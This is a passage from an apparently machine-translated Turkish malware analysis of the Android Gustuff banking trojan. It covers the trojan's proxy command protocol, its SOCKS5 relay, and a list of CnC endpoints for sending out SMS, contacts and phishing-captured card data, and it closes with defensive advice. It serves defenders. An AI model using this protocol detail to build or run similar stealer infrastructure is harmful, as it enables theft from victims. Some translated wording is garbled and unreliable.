  • simOperator — Servis Sağlayıcı Adı (SPN). Değerin alınması sırasında bir hata oluşmuşsa bu alan yerine hata mesajı yazılacaktır.
  • sürüm - bu alan config sınıfında saklanır; botun test edilen sürümleri için “1.6”ya eşitti.

5. Sunucudan komut bekleme moduna geçer. Sunucudan gelen komutlar şu biçimde gelir:

  • 0 ofset – komut
  • 1 ofset – oturum kimliği
  • 2 ofset – uzunluk
  • 4 ofset - veri

Bir komut geldiğinde uygulama şunları günlüğe kaydeder:
mainLog("Başlık { sessionId<%id%>], type[<%command%>], uzunluk[<%length%>] }")

Sunucudan aşağıdaki komutlar mümkündür:

İsimKomutaVeriAçıklama
bağlantı kimliği0Bağlantı KimliğiYeni bir bağlantı oluştur
UYKU3ZamanProxy modülünü duraklatın
MASA TENİSİ4-PONG mesajı gönder

Bir PONG mesajı 4 bayttan oluşur ve şuna benzer: 0x04000000.

ConnectionId komutu alındığında (yeni bir bağlantı oluşturmak için) Komut Bağlantısı bir sınıfın örneğini oluşturur Proxy Bağlantısı.

  • Proxy işlemine iki sınıf katılır: Proxy Bağlantısı и son. Sınıf oluştururken Proxy Bağlantısı adrese bağlanma ProxyConfigClass.host: ProxyConfigClass.proxyPort ve JSON nesnesini iletmek:

 {
    "id":<%connectionId%>
}

Yanıt olarak sunucu, bağlantı kurulması gereken uzak sunucunun adresini içeren bir SOCKS5 mesajı gönderir. Bu sunucuyla etkileşim sınıf aracılığıyla gerçekleşir son. Bağlantı kurulumu şematik olarak aşağıdaki gibi gösterilebilir:

Gibi Android- Gustuff Trojanı, hesaplarınızdan (fiat ve kripto para birimleri) en karlı olanları çekiyor.

Ağ etkileşimleri

Ağ algılayıcıları tarafından trafik analizini önlemek için CnC sunucusu ile uygulama arasındaki etkileşim SSL protokolü kullanılarak korunabilir. Hem sunucudan hem de sunucuya iletilen tüm veriler JSON formatında sunulur. Uygulama, çalışma sırasında aşağıdaki istekleri yerine getirir:

  • http://<%CnC%>/api/v1/set_state.php — komutun yürütülmesinin sonucu.
  • http://<%CnC%>/api/v1/get.php — bir komut alma.
  • http://<%CnC%>/api/v1/load_sms.php — Virüs bulaşmış bir cihazdan SMS mesajları indirmek.
  • http://<%CnC%>/api/v1/load_ab.php — Virüs bulaşmış bir cihazdan kişiler listesinin yüklenmesi.
  • http://<%CnC%>/api/v1/aevents.php – tercih dosyasında bulunan parametreler güncellenirken istek yapılır.
  • http://<%CnC%>/api/v1/set_card.php — Google Play Market gibi görünen bir kimlik avı penceresi kullanılarak elde edilen verilerin yüklenmesi.
  • http://<%CnC%>/api/v1/logs.php – günlük verilerinin yüklenmesi.
  • http://<%CnC%>/api/v1/records.php – kimlik avı pencereleri aracılığıyla elde edilen verilerin yüklenmesi.
  • http://<%CnC%>/api/v1/set_error.php – meydana gelen bir hatanın bildirilmesi.

Öneriler

Müşterilerini mobil Truva atı tehdidinden korumak için şirketlerin, kullanıcı cihazlarına ek yazılım yüklemeden kötü amaçlı etkinlikleri izlemelerine ve önlemelerine olanak tanıyan kapsamlı çözümler kullanması gerekiyor.

Bunu yapmak için, mobil Truva atlarını tespit etmeye yönelik imza yöntemlerinin, hem istemcinin hem de uygulamanın davranışını analiz etmeye yönelik teknolojilerle güçlendirilmesi gerekir. Koruma ayrıca, bir hesabın alışılmadık bir cihazdan ne zaman kullanıldığını ve zaten bir dolandırıcının eline geçtiğini anlamayı mümkün kılacak, dijital parmak izi teknolojisini kullanan bir cihaz tanımlama işlevini de içermelidir.

Temel olarak önemli bir nokta, şirketlerin yalnızca İnternette değil aynı zamanda mobil kanalda, örneğin mobil bankacılık uygulamalarında, kripto para birimleriyle yapılan işlemlerde ve diğerlerinde ortaya çıkan riskleri kontrol etmesine olanak tanıyan çapraz kanal analizinin mevcudiyetidir. işlemler yapılabilir. finansal işlem.

Kullanıcılar için güvenlik kuralları:

  • İşletim sistemi yüklü bir mobil cihaza uygulama yüklemeyin. Android Google Play dışındaki kaynaklardan uygulama indirirken, uygulamanın talep ettiği haklara özellikle dikkat edin;
  • İşletim sistemi güncellemelerini düzenli olarak yükleyin. Android;
  • indirilen dosyaların uzantılarına dikkat edin;
  • şüpheli kaynakları ziyaret etmeyin;
  • SMS mesajlarında alınan bağlantılara tıklamayın.

Oyuncular Semyon Rogaçeva, Grup-IB Bilgisayar Adli Bilimler Laboratuarı'nda kötü amaçlı yazılım araştırmalarında kıdemsiz uzman.

Kaynak: habr.com

DDoS korumalı siteler, VPS VDS sunucuları için güvenilir hosting satın alın 🔥 DDoS korumalı, güvenilir VPS ve VDS sunucu barındırma hizmeti satın alın | ProHoster